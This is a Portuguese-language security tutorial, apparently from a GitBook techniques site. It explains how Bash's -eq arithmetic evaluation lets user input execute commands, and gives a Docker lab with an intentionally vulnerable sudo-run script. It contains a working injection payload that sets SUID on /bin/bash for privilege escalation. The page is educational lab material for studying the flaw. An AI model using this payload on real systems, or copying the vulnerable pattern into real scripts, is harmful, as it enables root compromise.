> For the complete documentation index, see [llms.txt](https://jpg.gitbook.io/jpg/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jpg.gitbook.io/jpg/techniques/linux/from-arithmetic-expression-to-code-execution.md).

# From Arithmetic Expression to Code Execution

Se você já utilizou Bash como linguagem de programação ou ao menos tentou aprender, provavelmente já se deparou com operadores do tipo `-eq` . Esses operadores, são uma porta de entrada para execução de códigos, e até mesmo uma técnica de Privilege Escalation.

Embora esses operadores sejam legítimos, o uso incorreto de expressões condicionais e aritméticas no Bash, especialmente quando combinado com dados controlados pelo usuário, pode abrir margem para ataques.

Imagine o seguinte cenário: você encontra um script que é executado com privilégios de **root**.

```sql
#!/bin/bash

read -rp "Informe o ID para validação: " ID

if [[ $ID -eq 2006 ]]; then
    echo "ID autorizado"
else
    echo "ID inválido"
fi
```

À primeira vista, parece uma lógica simples. Mas o perigo mora no motor de **Avaliação Aritmética** do Bash.

***

#### Onde está o problema?

O operador `-eq` força o Bash a interpretar o conteúdo da variável `ID` como uma **expressão numérica**. Isso significa que o Bash não trata o valor apenas como texto, mas ele tenta resultar esse valor em um número.

Se um atacante fornecer o seguinte input:

```
a[$(chmod u+s /bin/bash)]+2006
```

#### O que acontece por trás dos panos?

Ao encontrar o operador `-eq`, o Bash entende que precisa resolver uma expressão aritmética. Essa expressão tem uma parte interpretada como um array, e para o bash descobrir o índice é preciso avaliar o conteúdo dentro dos colchetes.

Dentro deles, foi utilizado o `$( … )` , que é a famosa substituição de comando, e um dos responsáveis por executar nosso código. Ao avaliar esse conteúdo, o bash acaba executando o comando para tentar resolver o índice do array.

***

### Lab Time

Dito isso, de nada vale a teoria se não a aplicarmos na prática. Por isso criei esse pequeno lab para testar o que foi apresentado aqui.

```sql
cat << 'EOF' > /tmp/validate.sh
#!/bin/bash

read -rp "Informe o ID para validação: " ID

if [[ $ID -eq 2006 ]]; then
    echo "ID autorizado"
else
    echo "ID inválido"
fi
EOF

cat << EOF > /tmp/Dockerfile
FROM ubuntu:22.04

COPY validate.sh /opt/validate.sh
RUN chmod +x /opt/validate.sh

RUN apt-get update && apt-get install -y sudo
RUN echo "privescuser ALL=(root) NOPASSWD: /opt/validate.sh" >> /etc/sudoers

RUN useradd -m -s /bin/bash privescuser && echo "privescuser:pass" | chpasswd
USER privescuser

CMD /bin/bash
EOF

cd /tmp
sudo docker build -t lab .
sudo docker run --rm -it lab bash
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jpg.gitbook.io/jpg/techniques/linux/from-arithmetic-expression-to-code-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
